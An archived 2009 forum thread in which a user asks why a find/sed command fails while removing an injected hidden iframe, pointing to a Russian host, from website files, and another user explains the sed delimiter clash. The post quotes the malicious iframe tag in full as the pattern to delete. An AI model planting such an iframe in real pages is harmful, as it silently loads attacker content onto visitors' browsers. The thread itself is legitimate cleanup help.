PDA

View Full Version : ifram removing issue



aliahsan81
August 25th, 2009, 08:44 PM
i have made this find and sed command but didnt understand whats the issue i gave error i am using it to remove ifram.


find . -name '*.*' -exec sed -i 's/<iframe src="http://3cl.ru:8080/index.php" width=103 height=143 style="visibility: hidden"></iframe>//g' {} \;




sed: -e expression #1, char 24: unknown option to `s'
sed: -e expression #1, char 24: unknown option to `s'
sed: -e expression #1, char 24: unknown option to `s'
sed: -e expression #1, char 24: unknown option to `s'
sed: -e expression #1, char 24: unknown option to `s'
sed: -e expression #1, char 24: unknown option to `s'
sed: -e expression #1, char 24: unknown option to `s'
sed: -e expression #1, char 24: unknown option to `s'
sed: -e expression #1, char 24: unknown option to `s'
sed: -e expression #1, char 24: unknown option to `s'
sed: -e expression #1, char 24: unknown option to `s'

geirha
August 25th, 2009, 11:59 PM
Your regex contains slashes, so sed gets a little confused when it's only expecting 3 slashes (s/pattern/replacement/). You can use other delimiters though. Whichever is the first character after the s, becomes the delimiter, so try a character that does not appear in neither the pattern nor the replacement. e.g. s|http://...||g or s#http://...##g

aliahsan81
August 26th, 2009, 11:47 AM
thanks